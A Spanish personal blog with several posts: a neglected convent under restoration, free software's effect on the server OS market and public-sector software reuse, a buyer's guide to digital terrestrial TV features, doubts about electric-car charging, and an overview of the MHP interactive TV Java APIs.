ClawGrip

Lo que podéis ver en la foto es un antiguo convento situado en un pequeño pueblo castellano-leonés. Lo interesante de este convento es lo que se ha hecho con él: No es solo que se le halla negado cualquier tipo de mantenimiento o cuidado, es que se derribó su puerta trasera para permitir la entrada de tractores (si, los tractores entraban en la iglesia aneja al convento) y usarlo así como almacén de productos agrícolas, se encalaron sus paredes de blanco, escondiendo unos magníficos frescos, y se vendió su artesonado por dos duros al primero que pasó por allí y les hizo una oferta.

Ahora, cuando ya casi no tiene remedio, dos personas (una pareja apasionada por la historia del arte), con muy pocos fondos y muchísimo trabajo, están restaurandolo como pueden.

Pero este no es un caso aislado, y este es normalmente el valor que le damos a nuestro patrimonio, y cualquier ruta por los pueblos de España lo confirma.

# posted by ClawGrip @ 18:41 0 comments

Han pasado ya unos años desde que Linus Towalds crease el sistema operativo que inició en gran parte la revolución del software de fuentes abiertas y el software libre, y es justo esta distancia temporal la que empieza a darnos una perspectiva fiable de las consecuencias de esta revolución, tanto las ventajas como las desventajas.

Hace unos quince años, cuando Linux aun no era una alternativa profesional a la altura de sus competidores, el mercado de los sistemas operativos servidores estaba tremendamente fragmentado y en buena medida especializado: Sun Solaris (SunOS), IBM AIX y Hewlett Packard HP-UX (que fagocitó a competidores como Digital UNIX y Compaq Tru64 UNIX, entre otros) se disputaban el mercado de propósito general, Cray UNICOS se centraba en el proceso masivamente paralelo y los modelos matemáticos, Sgi IRIX dominaba el nicho de los gráficos 3D, NCR MP-RAS el tratamiento de enormes cantidades de datos… A esto habría que sumar otros derivados de UNIX como DG-UX, SINIX, ULTRIX, los (ya entonces viejos) sistemas operativos de mainframes y minis como OS/370 (que heredaba del original OS/360 y derivó en OS/390 y Z/OS), VAX/VMS, OS/400, etc., e incluso las versiones tempranas de Windows NT o el extinto OS/2. El usuario tenía múltiples alternativas y siempre una que se adaptase perfectamente a sus necesidades…

¿Qué ha pasado? ¿Cuál es el panorama actual? Si repasamos todas y cada una de las ofertas encontramos que, o bien han desaparecido y las empresas que las desarrollaban ofertan ahora Linux o están en franco peligro de desaparición e igualmente sus desarrolladores combinan el producto original con Linux.

HP, tras absorber con adquisiciones productos como ULTRIX, VMS, Tru64 UNIX, etc. mantiene HP-UX ligado a una arquitectura hardware casi muerta (IA 64) sin apenas actualizaciones desde hace años, centrando el núcleo de su negocio en Linux. Otras grandes empresas han abandonado directamente sus sistemas operativos: Sgi (casi desaparecida) dejó de lado IRIX a favor de Linux sobre IA64, Cray está en vías de descontinuar UNICOS y vender únicamente Linux (con arquitecturas avanzadas sobre AMD x64); mientras que otras directamente han abandonado completamente el par hardware/sistema operativo y se centran ahora en los servicios o en software complementario. Por supuesto, no ha sido siempre Linux el destino de la concentración de la oferta, y encontramos ejemplos como NCR en este sentido, que está discontinuando sus sistemas Teradata basados en MP-RAS (su variante de UNIX) hacia Windows Server o Unisys, que hace ya años adoptó Windows Server y se publicita ahora como una compañía “anti UNIX”.

El resultado a largo plazo es que (siempre centrados en el mercado de los sistemas operativos servidores) ahora la oferta se reduce a menos de cinco alternativas: Linux, Windows Server (Windows NT), Sun Solaris y poco más. Incluso titanes como HP-UX llevan años sin recibir una revisión mayor por falta de inversión en I+D, y probablemente Sun Solaris (más aún con la incertidumbre de su adquisición por Oracle) corra la misma suerte.

Pero la mayoría de las empresas que en su día ofertaban sistemas operativos servidores siguen en este mercado, solo que ahora centradas en el sistema operativo Linux ¿Y a dónde van ahora las partidas de I+D que se destinaban a los departamentos de desarrollo de sistemas operativos? ¿A colaborar con la comunidad Linux? Es evidente que la respuesta es no. Estas partidas se centran (además de a capear la crisis) en ofrecer mejores servicios profesionales (integración consultoría, etc.) en torno a Linux, y en el mejor de los casos se liberan (ceden para su integración en Linux) contados (y con cuentagotas) módulos software de los sistemas operativos que han condenado a desaparecer.

La conclusión sobre los efectos del software libre en el mercado de los sistemas operativos servidores no parece muy positiva según este rápido y ligero análisis… ¿Nos espera una evolución similar en sectores donde el software libre aun no lleva tanto tiempo? Bases de datos, servidores de aplicaciones…

Pero si bien el software libre y de fuentes abiertas está siendo una excelente excusa para la desinversión en I+D por parte de las grandes empresas, está configurándose como uno de los pilares en los sistemas de titularidad pública (los usados por el sector público para ofertar servicios a ciudadanos, empresas y otras administraciones).

¿Cuál es el panorama en este sector? La situación actual es que el software libre y el software de fuentes abiertas se ve mayoritariamente como una forma de reducción del gasto en licencias e inventarios de patrimonio. ¿Es este el camino a seguir? Evidentemente, de nuevo la respuesta es no. El gasto que acostumbraba a destinarse a licencias de productos software se destina ahora a integraciones y adaptaciones sobre software libre, pero el concepto de la reutilización se queda en esto, únicamente en reutilizar productos de software libre generados por comunidades externas.

Sin embargo, en el sector público, ni las soluciones de software libre / software de fuentes abiertas ni el software con licencias privativas (software comercial convencional) cubren directamente las necesidades de las diferentes administraciones, y los desarrollos a medida y trabajos de adaptación e integración son una necesidad común inevitable. Y son justo estos trabajos, que a menudo se apoyan en bibliotecas, productos o frameworks de software libre los que constituyen el grueso de la propiedad intelectual de las administraciones públicas y organismos que los contratan, y por extensión, propiedad de los ciudadanos (y empresas), que son los que finalmente pagan todo con sus impuestos y aportaciones.

No obstante, y pese a constituir por cantidad de dinero invertida, una parte de gran importancia dentro del patrimonio del estado, es de todas la sin duda peor tratada: No está inventariado, se contratan innumerable desarrollos idénticos por distintos organismos que ni siquiera se preocupan de localizar piezas reutilizables ya desarrolladas, no se asegura la propiedad íntegra de los trabajos pagados mediante los contratos adecuados y muchos trabajos se pierden de forma definitiva cuando termina su periodo de utilidad por el órgano que lo servía o utilizaba, aunque pudiese tener una continuidad en otros ámbitos o administraciones.

Aunque legalmente el intercambio de información entre administraciones está bien respaldado (Directiva 2003/98/CE del Parlamento Europeo y del Consejo relativa a la Reutilización de la Información del Sector Público, LEY 37/2007, de 16 de noviembre, sobre reutilización de la información del sector público, Libro Verde de la Comisión Europea sobre la Información del Sector Público, etc.), es probablemente la más poco común de las prácticas, y es que las entrañas burocráticas, legales y administrativas necesarias para el intercambio real de la propiedad intelectual echan para atrás a la mayoría. Pero esta “comodidad” o “ahorro de esfuerzo” les cuesta ingentes cantidades de dinero a los contribuyentes y priva a los ciudadanos del acceso a un software que es de ellos y sobre el que no hay ningún motivo para retenerlo.

La solución a estos inconvenientes es sin duda mucho más sencilla de lo que puede parecer en un principio: El software de fuentes abiertas / software libre. La publicación del software contratado por el sector público en forjas comunitarias, con el código fuente y la documentación asociada, disponibles a todos los posibles interesados supone una solución barata y rápida para implementar este intercambio de información y permitir al ciudadano acceder a lo que es suyo. Es más, los inconvenientes de este modelo son prácticamente inexistentes, y las potenciales ventajas son innumerables.

Pero la transición del sector público desde consumidor a productor de software libre o software de fuentes abiertas debe hacerse siguiendo una serie de procedimientos especialmente ordenados:

• La infraestructura necesaria para la publicación de la propiedad intelectual (hardware/software/servicios) debe ser proporcionada sin coste desde un organismo central (Ministerio de la Presidencia, Ministerio de Industria, etc.).

• Esta publicación debe ser obligatoria excepto en casos especialmente detallados (ley de contratos), con mecanismos para que la excepción no se convierta en la norma.

• Debe proporcionarse la asesoría, consultoría y asistencia necesarias para ayudar a las administraciones a gestionar la adquisición de propiedad intelectual cuyo destino paralelo sea la publicación con una licencia de software libre (EUPL, GPL, etc.). Esta ayuda debe provenir de un organismo especializado (¿Cenatic?).

• Debe formarse al sector público en la reutilización de información ya disponible e instarse a las empresas que prestan servicios al sector público igualmente a esta reutilización.

Por supuesto, un trabajo más profundo sería analizar si los verdaderos obstáculos para el intercambio de información entre organismos no es únicamente la mera burocracia, sino la conjunción de costumbres, normativas, actitudes personales y medicridades políticas...

# posted by ClawGrip @ 11:19 1 comments

Con la llegada de las “altas prestaciones” al mundillo de los televisores, se ha conseguido acortar tremendamente el periodo de renovación de los aparatos domésticos, y cuando antes un televisor duraba años y años en el salón de casa, a las modernas pantallas planas de alta definición se les intentar dar un periodo de renovación mucho más breve, por una parte mediante la introducción constante de mejoras tecnológicas “imprescindibles” y por otra con componentes de baja calidad que ya de por si son incapaces de resistir más de cinco años sin estropearse.

Esta vorágine de consumo es en cierto modo aceptable siempre que se respete a los que no desean entrar en el juego y se conformen con ver la tele en su viejo Telefunken o Philips K40 de tubo, pero resulta que ahora las reglas del juego han cambiado… La introducción de la TDT en España trae la obligación para los televidentes de renovar sus equipos o adquirir nuevos, pero la elección no es en absoluto sencilla y no es precisamente fácil encontrar a alguien que nos informe con verdadero conocimiento de la situación. Donde antes un televisor apenas tenía características adicionales (teletexto, disponibilidad de euroconector, soporte de estéreo/dual y muy poco más), ahora nos encontramos con una sopa de letras tecnológicas y una cadena de mejoras tecnológicas que parecen haberse escalonado en el tiempo estratégicamente para hacernos renovar equipos en casa todos los años… ¿Revisamos algunos de ellos?

Sonido Envolvente

En el fondo, ya teníamos sonido envolvente multicanal en la televisión analógica gracias a la tecnología Dolby Surround / Dolby Pro Logic combinada con una emisión en estéreo, solo que no recuerdo yo que nadie nunca jamás lo usara, por más que al empezar Los Simpsons viésemos el logotipo de la doble D de Dolby… Pero el caso es que la TDT introduce una mejora sustancial sobre la tecnología anterior, ya que como se emite en digital, los canales pueden enviar el sonido en Dolby Digital o en DTS (Digital Theater System). Y aquí tenemos la primera pregunta: ¿Qué necesito para disfrutar de verdad del Dolby Digital en TDT? Vamos por partes:

El elemento principal que vamos a necesitar (dejando aparte el televisor, claro) es un amplificador compatible Dolby Digital. Una emisión en sonido envolvente multicanal (como su nombre indica) necesita varios canales de sonido, y uno o más altavoces para cada canal, y es el amplificador compatible Dolby el que se encarga de procesar la señal y enviar a cada altavoz lo suyo.

La primera diferencia respecto a tecnologías anteriores es que la tecnología Dolby Digital necesita una conexión digital entre el televisor o el descodificador TDT y el amplificador compatible Dolby, así que aquí tenemos nuestro primer requisito: El descodificador TDT o el televisor con TDT integrado tienen que tener una salida digital de audio. Para complicar un poco las cosas, existen dos tipos de conectores distintos, el RCA, que utiliza cables coaxiales y el TosLink (Toshiba Link), que usa cableado óptico (aunque ambos siguen la misma normativa de audio digital: SPDIF, Sony/Philips Digital InterFace). Como los amplificadores suelen tener ambos, tampoco nos preocupa demasiado cual de los dos tenga, pero tendremos que tenerlo en cuenta a la hora de comprar los cables de conexión. Si tanto nuestro amplificador como nuestro televisor o descodificador TDT soportan ambos formatos, es recomendable usar el conector TosLink con cable de fibra óptica, ya que es inmune a interferencias radioeléctricas (aunque hay que tener cuidado de que no se doble demasiado, ya que es relativamente quebradizo).

Si nuestro televisor o descodificador carece de alguno de estos conectores, aun tenemos una oportunidad de disfrutar de sonido envolvente gracias a la tecnología Dolby Surround, o a su versión mejorada, Dolby Pro Logic / Dolby Pro Logic II. Esta señal no necesita un transporte digital, ya que se intercala entre la señal analógica de un sonido estéreo normal, y como todos los receptores TDT son (o al menos deberían ser) estéreo, pues por ahí no encontramos nada de lo que preocuparnos. ¿Y debe mi amplificador soportar Dolby Pro Logic? ¿Tiene también el canal que emitir en Dolby Pro Logic además de en Dolby Digital? Tampoco hay que preocuparnos por esto, Dolby Digital es completamente compatible con Dolby Surround / Dolby Pro Logic, así que cualquier emisión Dolby Digital que recibamos en estéreo tendrá la señal Pro Logic incorporada, y cualquier amplificador compatible Dolby Digital va a ser capaz de procesarla.

Un par de cosas importantes a tener en cuenta si decidimos prescindir del enlace digital y usar a cambio Dolby Surround / Dolby Pro Logic:

• Mientras que Dolby Digital ofrece normalmente 5.1 canales (cinco direccionales más uno adicional para los sonidos graves), Dolby Surround / Dolby Pro Logic acostumbra a ofrecer únicamente 4 (marcados como 4.0). En cualquier caso, siempre es mejor la calidad del Dolby Digital.
• Si ya disponemos de un amplificador antiguo que soporta Dolby Surround / Dolby Pro Logic, pero no Dolby Digital, no es mala opción ahorrarnos la compra de un amplificador nuevo con conexiones digitales y aprovechar el equipo que ya tenemos.

Alta Definición

Ahora que la venta de televisores con pantalla de Alta Definición está en auge, se plantea iniciar las emisiones de TDT en alta definición (se lleva un tiempo anunciando que las olimpiadas se emitirán en TDT de alta definición), lo que nos trae la segunda cuestión: ¿Qué necesito para ver la TDT en alta definición? Aquí los requisitos con mucho más fáciles de comprobar, los enumeramos por separado:

• Que nuestro receptor de TDT soporte el formato MPEG4/H.264, ya sea integrado en el televisor o externo en un descodificador.
  Aunque las emisiones en alta definición están al caer, no es nada sencillo encontrar equipos que cumplan con este requisito. A día de hoy es casi imposible encontrar un descodificador TDT externo que lo cumpla, y son muy pocos modelos de televisores con TDT los que han incorporado esta característica.
  Si se trata de un televisor con sintonizado TDT compatible con alta definición integrado, este deberá venir indentificado con el logotipo "HD TV".

• Que nuestra pantalla de televisión sea compatible al menos con la resolución 1080i (1920x1080 en modo entrelazado). Esto es muy fácil de comprobar, solo hay que asegurarnos de que el televisor tenga el logotipo “HD Ready” o el logotipo "HD TV" (los logotipos fueron introducidos por la Asociación Europea de Tecnologías de Electrónica de Consumo, Comunicaciones e Información, EICTA). El logotipo "HD Ready" está presente en prácticamente cualquier televisor moderno de pantalla plana.

• Que, si usamos un descodificador externo, la conexión entre este y el televisor se haga mediante conectores compatibles con alta definición. Estos conectores solo pueden ser de dos tipos, los llamados conectores de video por componentes (YPbPr) y el nuevo HDMI (High Definition Multimedia Interface). El primero es en cierta manera desaconsejable (tecnología analógica, usa tres cables, no hay detección automática de formatos panorámicos), por lo que es siempre mejor usar un cable HDMI.

Si nos decidimos por un conexionado HDMI, merece la pena tener en cuenta unos cuantos aspectos:

1. HDMI transporta en un único cable tanto el video como el audio, pero existe una variante llamada DVI (Digital Video Interface) que solo transporta el video. Si nuestra tele tiene conector DVI en vez de HDMI, necesitaremos un adaptador (DVI y HDMI no usan conectores físicamente compatibles) y un cableado adicional para el audio.
2. HDMI en un estándar en plena evolución, con lo que no está demás comprobar que la versión de HDMI que soporta nuestro televisor es la misma que la que soporta el descodificador (la versión más moderna a día de hoy es la 1.3b).
3. Es común encontrar cables HDMI a precios desorbitados (incluso por encima de los 80 €). Como el transporte de la señal se hace digitalmente, no hay mejora de la calidad de imagen o sonido solo por introducir un cable de mejor conductividad o calidad. En la mayoría de las ocasiones, da exactamente el mismo rendimiento un cable de 15 € que uno de 50 €. Sólo en casos donde tengamos muchas interferencias eléctricas o magnéticas (cercanía con aparatos o motores eléctricos de gran potencia, etc.) se hace necesario adquirir un cable de mayor calidad.

Interactividad

La práctica totalidad de canales (o al menos los “principales”) están emitiendo contenido interactivo, y ofrecen ciertos servicios adicionales a través de la TDT, como servicios de administración electrónica, juegos, concursos, información avanzada, etc. Aunque por ahora la calidad y utilidad de estos servicios interactivos es bastante triste, nunca está de más asegurarnos de que nuestro televisor o descodificador TDT es capaz de acceder a ellos, ya que se prevé que en un futuro muy cercano empiecen a aparecer servicios realmente atractivos.

La interactividad en TDT se basa en la normativa MHP (Multimedia Home Platform), y los productos compatibles deben identificarse mediante su correspondiente logotipo.
¿Basta entonces con comprobar que el televisor o el descodificador van etiquetados con el logotipo de MHP? No, en absoluto, el tema es bastante más complicado, enumeramos los puntos básicos a verificar para garantizar la completa compatibilidad con los servicios interactivos:

• Etiquetado con el logotipo MHP. Adicionalmente, es bueno comprobar en la ficha técnica del aparato la versión de MHP que soporta, mejor si es la 1.1.3 o 1.1.2, y como mínimo debe ser compatible con la versión 1.0.2 o 1.0.3.

• Conexión para canal de retorno acorde con nuestra conexión a Internet. Muchas veces los servicios acceden a Internet como medio adicional de comunicación; si disponemos en casa de conexión de banda ancha (ADSL, cable, etc.), debemos comprobar que cuente con conector Ethernet, sino, una conexión de módem (conector telefónico convencional) nos basta.

• Lector de tarjeta inteligente. Ciertos servicios nos van a pedir que nos identifiquemos usando tarjetas inteligentes (como el nuevo DNIe, el DNI electrónico), así que es imprescindible contar con la ranura para leer estas tarjetas. Si el descodificador esta marcado como “Compatible DNI Electrónico”, mejor que mejor.
  El tema del lector de tarjetas es más complicado de lo que parece, ya que podemos tener este lector pero que su uso sea exclusivo para otras funcionalidades (como el acceso condicional) y los servicios interactivos no puedan usarlo, o, incluso, que si esté a disposición de los servicios interactivos pero que sea incompatible con ciertas tarjetas inteligentes. El estar marcado como “Compatible DNIe” (suelen llevar el logotipo de DNIe, o con una pegatina en el frontal o al menos impreso en la caja o mostrado en la publicidad) es garantía de máxima compatibilidad.

TDT de Pago

Otra novedad a punto de aparecer: Canales de TDT en los que debemos pagar por cada programa que queramos ver, ya sea por el tiempo que estemos viéndolos (a veces por programas completos, a veces por minutos) o mediante un modelo de suscripción mensual. ¿Y como va a funcionar la TDT de pago? Pues de forma mucho más sencilla que como funcionan las plataformas actuales de televisión de pago; compraremos tarjetas inteligentes prepago para TDT que podremos recargas cuando agotemos su saldo. Estas tarjetas valdrán para cualquier canal o programa que emita por TDT, da igual la empresa que emita (Tele5, Antena 3, etc.). ¿Y donde insertamos estas tarjetas? Todas los televisores con sintonizador TDT integrado cuentan con una ranura de expansión llamada DVB-CI (Digital Video Broadcasting - Common Interface, igual en formato que las ranuras PCMCIA de los ordenadores portátiles), al cual se le puede acoplar un módulo CAM (Common Access Module, módulo de acceso condicional), al cual a su vez se le puede insertar la tarjeta inteligente prepago de TDT. Paso a paso, los puntos a tener en cuenta son:

• Disponibilidad de una ranura DVB-CI para expansión. Bueno, hemos dicho que todos los televisores con TDT la tienen, pero nadie ha hablado de los descodificadores… ¿La tienen también? Pues como la Unión Europea no obliga a los fabricantes a incorporarla, la mayoría se “han olvidado”. Ya tenemos otro aspecto a verificar si compramos un descodificador TDT.

• Adquisición de un módulo CAM. Como hemos dicho, esto módulos se insertan en la ranura DVB-CI y cuentan a su vez con un zócalo para alojar una tarjeta inteligente. Conviene comentar que algunos descodificadores no tienen ranura DVB-CI pero sí ranura para lectura de tarjeta inteligente ¿Nos vale entonces? En teoría sí, ya que eso significa en la mayoría de los casos que el módulo CAM viene ya integrado y no es necesario añadirlo, pero hay que tener un poco de cuidado:
  
  • Hay que asegurarse de que la ranura para lectura de tarjeta inteligente es compatible con la normativa DVB-CA (acceso condicional).
  • Puede ser que el descodificador necesite software adicional (que en otro caso vendría preinstalado en el módulo CAM), por lo que el fabricante debe proporcionarnos actualizaciones del software del descodificador si es necesario. Y hemos dicho que debe proporcionarnos las actualizaciones (emitiéndolas con la señal de los canales de TDT o por otro medio), y no únicamente asegurarnos que el descodificador es actualizable.

• Adquisición de una tarjeta inteligente prepago para TDT. La idea es que se vendan en kioscos, grandes superficies, etc. con cargas iniciales de saldo que oscilarían entre 10 y 60 €. No os preocupéis por esto, ya se encargarán de publicitarlo bien cuando se pongan a la venta...

Bueno, y yo creo que si encontramos un equipo que soporte todas estas características (tarea difícil), tenemos asegurada la compatibilidad con todas las novedades de la TDT por mucho tiempo, pero seguro que os ha surgido una pregunta: ¿Y porque nadie me ha informado antes de todo esto?

Esa es la pregunta clave. Un usuario mal informado (o no informado en absoluto) casi seguro comprará su televisor o descodificador sin alguna de las prestaciones antes enumeradas, y sí, algunos renovarán equipos para estar a la última y no perderse nada, pero la inmensa mayoría se encontrarán frustrados por no poder acceder a todos los servicios de la TDT y con un buen enfado por no haber comprado otro modelo. ¿Y con quién hay que enfadarse? ¿Con el vendedor? ¿Con el fabricante del televisor? Mi opinión es clara en este sentido: Es responsabilidad de la administración pública el informar de todo esto. Como hemos comentado anteriormente, la TDT no es opcional, no va a coexistir con la televisión analógica, es un cambio obligado decidido por la administración, y es ella la encargada de guiar a los ciudadanos en el cambio.

Pero las campañas informativas que ha puesto en marcha la administración no hablan de todas estas novedades y adelantos, únicamente hablan de que vamos a tener más canales gratuitos y que ofrece mejor calidad, y para que sepamos que comprar en las tiendas ha creado el logo de la TDT, que no garantiza compatibilidad con la interactividad, ni con el DNI electrónico, ni con la alta definición, ni con los futuros contenidos de pago… Eso, sí, si tiene el logo de TDT vamos ver muchos canales gratis, que parece ser lo único importante.

Visto lo visto, parece que la necesidad de un programa de información al ciudadano y etiquetado de productos sobre todas las prestaciones que nos ofrece la TDT empieza a ser una necesidad imperiosa, ya que cuanto más tarde se implantes políticas en este sentido, mayor será el parque de ciudadanos con equipos obsoletos, incompatibles o simplemente limitados en prestaciones. Otra ventaja directa de un programa de etiquetado, acompañado por una mínima homologación de los productos implicados, es el aseguramiento de la compatibilidad. La experiencia de nuestros vecinos italianos nos indica que no todos los televisores con ranuras de expansión DVB-CI son realmente ínter-operables, que no todas las implementaciones de televisión digital interactiva son iguales y en resumen, que si no hay obligación de hacer las cosas bien, pocos son los fabricantes que lo hacen.

# posted by ClawGrip @ 14:58 0 comments

Llevamos ya un tiempo hablando de los coches eléctricos, de que son los vehículos del futuro, de que son una solución al problema de escasez de hidrocarburos y a la contaminación que estos generan... Y el caso es que los fabricantes empiezan a poner modelos en el mercado ¿Habrá llegado la hora de considerar la adquisición un modelo de propulsión eléctrica? Vamos a revisar una cuestión que parece que nadie cuenta cuando se habla de este tema en informativos y en la publicidad:

Un coche eléctrico tarda entre 45 minutos y tres horas en cargar completamente sus baterís, y al menos media hora para una carga parcial. ¿Y dónde cargamos estas baterías? Se nos ofrecen dos alternativas:

Puntos de carga callejeros, al estilo de las gasolineras o autoservicio operados por tarjetas de crédito, monedas o tarjetas prepago.

Vale, ¿y tengo que quedarme media hora en la estación de servicio? No se yo quien puede permitirse estar media hora repostando, pero desde luego que yo no, y mucho menos si la autonomía de estos coches me obliga a repostar varias veces a la semana.
La otra solución que he oido proponer es que se instalen puestos de recarga en las plazas de aparcamiento callejeras, pero eso me suscita unas cuantas preguntas: ¿Cuantos de esos puestos necesitaría una ciudad como Madrid si el 15% de sus coches fuesen eléctricos? Antes de responder a esa pregunta tened en cuenta que los coches no tienen porqué estar concentrados geográficamente en una misma zona, por lo que habría que dispersar geográficamente estos puestos. Está claro que no son pocos, más bien son muchos si queremos dar un servicio correcto, que no obligue a los conductores a desplazarse fuera de su ruta habitual ni a hacer colas prolongadas esperando a que otros conductores dejen libre el puesto. Además, tendría el inconveniente de tener que sumar el coste de la plaza de aparcamiento a lo que cueste la electricidad (son pocas las ciudades sin "zona azul", verde o del color que les de la gana con tal de cobrar por aparcar el coche).
 

Carga mediante una toma normal de 220/240V, para poder cargar el coche en casa.

Pero... ¿Y que pasa si no tengo un garaje individual propio? Pues sencillamente que no puedo cargar el coche. La inmensa mayoría de los conductores o no tenemos plaza, o la tenemos en un aparcamiento comunitario. Por si alguien lo ignora, una plaza en un aparcamiento comunitario, o no tiene toma eléctrica o la tiene con cargo a la comunidad de vecinos, lo cual, o nos impide cargar las baterías o nos toca robar electricidad a los vecinos (no pasarían ni dos semanas sin que se quejase algún vecino y nos denunciasen). Por otra parte, la instalación eléctrica de estos aparcamientos hace muy difícil poner contadores individuales.

Resumiendo, que si quieremos un coche eléctrico y usarlo habitualmente necesitamos un garaje individual con toma eléctrica propia, lo cual se da casi siempre en viviendas unifamiliares, y dados los tiempo que corren, para tener una vivienda unifamiliar con garaje propio hay que tener mucho dinero.

Mi opinión es que esto de los coches eléctricos se perfila como otro "gadget" para ricos que quieran presumir de "comprometidos con el planeta"... No gracias. Mucho (muchísimo) tienen que mejorar los tiempos de carga y la autonomía de los coches eléctricos para que cambie mi percepción sobre ellos.

# posted by ClawGrip @ 14:51 1 comments

Imagen curiosa que encontré en Rianxo (Coruña): una promoción de pisos construidos "Con vistas al futuro". Gracias a Gerardo por descubrir él primero la situación...

# posted by ClawGrip @ 09:50 0 comments

Bueno, ya hemos pasado algo más de un año trabajando en la televisión digital interactiva y va siendo hora de resumir el estado de salud en la que la encontramos:

¿Qué es la televisión digital terrestre interactiva?

Para esto, un resumen rápido: En la televisión digital, junto con las señales de audio y vídeo, viajan otro tipo de datos, como las tablas de información del sistema o tablas SI (que son los metadatos que nos informan de lo que se está emitiendo en cada momento y la programación futura, con lo que los televisores muestran la llamada Guía Electrónica de Programación, o EPG), el teletexto (por ahora es el de siempre, solo que encanutado en digital puro), y lo que se llama carrusel de aplicaciones interactivas. En Europa, las televisiones digitales siguen las normativas marcadas por el Proyecto DVB (Digital Video Broadcasting), DVB-T para TDT, DVB-S/S2 para satélite, DVB-C/C2 para cable, DVB-H para telefonía móvil, etc. Este carrusel es una colección de pequeñas aplicaciones Java que se emiten de forma repetitiva (por eso lo de carrusel), de forma similar al teletexto. En TDT, estas aplicaciones Java siguen la normativa MHP. En otros sistemas de televisión digital se pueden usar otros sistemas, como OpenTV (basada también en Java) en la antigua QuieroTV, MediaHighway en Digital+ (de nuevo basada en Java), MiViewTV en Imagenio (no es más que un navegador Mozilla con una versión un tanto especial de JavaSCript), etc.
Centrándonos en la normativa de la TDT, MHP (Multimedia Home Platform), nos encontramos con una extraña mezcla de normativas Java que intentan cohesionarse como pueden para formar un estándar sólido, enumero las más importantes:

JME PBP 1.1 (Java Micro Edition Personal Basis Profile 1.1)

Bueno, como base del lenguaje Java, MHP toma Java Micro Edition Personal Basis Profile 1.1. Esto es una buena idea, pero hubiese dido mejor si MHP hubiese seguido JME PBP desde un principio, porque las versiones iniciales de MHP (1.0.x) no siguen ninguna edición en concreto (ni JSE ni JME), y al pasar a JME PBP se han introducido ciertas incompatibilidades con las versiones previas de MHP (como por ejemplo las codificaciones por defecto en los textos, que pasan de ANSI a Unicode). Como en España cohexisten descodificadores con 1.0.x y 1.1.x (está última ya JME PBP), los que compraron primero corren el riesgo de comerse sus descodificadores con patatas sino consiguen actualizaciones (pero bueno, como fueron pocos...).

DAVIC (Digital Audio Video Council)

Esto, como si no lo hubiese nombrado. Son una serie de interfaces de programación (API) del año de la polca para tratamiento de audio y video que, la verdad, no es muy común usar en las aplicaciones MHP, excepto en contadas ocasiones...

JavaTV

Esto sí. La base organizativa de las aplicaciones MHP se basa en la especificación JavaTV, un API común con otras normativas de televisión digital interactiva (como OCAP/ACAP en Estados Unidos) que parece que goza de buena salud...

JMF (Java Media Framework)

¿Conoceis el API JMF para reproducción de medios en Java? No me extrañaría que no. La verdad es que es un API bastante olvidado que lleva tiempo sin actualizarse. De todas formas, si JMF para Windows/Linux/Solaris va por la versión 2.1.1 y ya es antiguo... En MHP ha decidido adoptar la 1.0 y limitar sus capacidades: no reproduce video, la reproducción de audio apenas soporta formatos (MP2 y poco más), etc. Resumiendo: muy triste.

SATSA (Security And Trust Services API)

El API de seguridad de JME MIDP (Mobile information Device Profile) llevado a MHP. Parece una buena idea... ¿No? Pues no tanto, me explico: de SATSA, en el fondo, solo se soporta SATSA APDU (Application Protocol Data Unit), que es un API básico para comunicación con un lector de tarjetas inteligentes, quedando no soportadas por MHP SATSA PKI (Public Key Infrastructure), que contiene la parte de certificados digitales y SATSA Crypto, la parte de criptografía. El estado en el que nos deja esto es un tanto extraño, porque para criptografía y certificados usamos la infraestructura de JSE (JCE/JCA, Java Cryptography Extension, Java Cryptography Architecture) y para intercambio de APDU con una tarjeta usamos la infrestructura de JME (para esto en JSE se usa JSR-268, Java SmartCard I/O).
Pero bueno, todo esto sería aceptable si hubiese estado así definido desde el principio, pero no. MHP 1.0 no usaba SATSA, sino OCF (OpenCard Framerwork, un API obsoleto pero muy potente) para el intercambio de comandos con tarjetas, y por si fuese poco, en MHP 1.1.3 se introduce un nuevo API para todo esto, RawConnection, que es más flexible que SATSA y facilita trabajos complejos con tarjetas inteligentes.

DVB-J (Digital Video Broadcasting Java)

Es la parte de MHP dependiente de la normativa de televisión digital usada por debajo. Conviene no usarla más que lo imprescindible, pero siempre es necesario. En otras plataformas que usan MHP pero que no estan normalizadas por DVB, DVB-J se sustituye por otras API quivalentes, como por ejemplo BD-J (BluRay Disc Java) en BluRay (sí, BluRay soporta MHP en las películas).

HAVi (Home Audio Video Interoperability)

HAVi es una colección de elementos de interfaz gráfica basados en el AWT (Abstract Window Toolkit) de JSE y adaptados para su uso en televisión interactiva. Bueno, en el fondo HAVi es mucho más que interfaces gráficas (interoperabilidad e interconexion de equipos de audio y video domésticos por IEE1394), pero MHP solo usa esta parte de él. ¿Algún problema con HAVi? Pues sí. Además de ser algo parco, su principal problema es que un mismo elemento gráfico de HAVi (por ejemplo, un botón en pantalla) se ve distinto según la marca y modelo de descodificador, con lo que no es posible construir interfaces uniformes usando HAVi, y al final termina siendo necesario evitar su uso y contruirse uno mismo los elementos de interfaz usando AWT como base.

Bueno, el caso es que al final, usando todas estas API, una aplicación MHP no deja de ser como una aplicación Java de escritorio (o "cliente pesado") con capacidad de conexión a la red y con la peculiaridad de que el interfaz de entrada es un mando a distancia. Las aplicaciones se descargan por completo por vía aérea (por la antena de televisión) y se ejecutan localmente en el descodificador. Todos los descodificadores que soportan MHP tienen un interfaz de red para que las aplicaciones se conecten, normalmente a Internet. Este interfaz es el llamado "canal de retorno", y es una toma de teléfono con un módem interno en los más cutres y una toma Ethernet (para el ADSL, etc.) en los más completos.

Bueno, visto más o menos, esto es MHP... ¿Necesitamos saber algo más?

Yo añadiría que en el mercado existen principalmente dos implementaciones de MHP, independientemente de la marca que comercialice los descodificadores: Osmosys y Alticast.

Osmosys

De origen suizo (aunque se desarrolla principalmente en Polonia), es una implementación muy completa, puntera (son los primeros en incorporar las nuevas versiones) y de alta calidad. Soporta principalmente procesadores ST y lo encontramos en equipos de las marcas Strong, iCAN, ADB, Inves (no todos), Engel, TeleSystem, Grundig, etc.

Alticast

De origen coreano, es una implementación de bajo coste que implementa lo mínimo imprescindible. Soporta igualmente procesadores ST como primera opción, y aunque existe para otras arquitecturas (como PowerPC), tienen más problemas y conviene evitarlas. Encontramos implementaciones de MHP de Alticast en descodificadores marca HuMAX, Hyundai, Inves (solo un modelo), Maat-Media, etc.

Hay otras implementaciones, como NDS (que montaban hace tiempo los descodificadores de Philips), pero funcionan bastante peor que las dos enteriores y apenas se venden en España.

Y otra cosa... ¿Cómo se desarrollan las aplicaciones MHP?

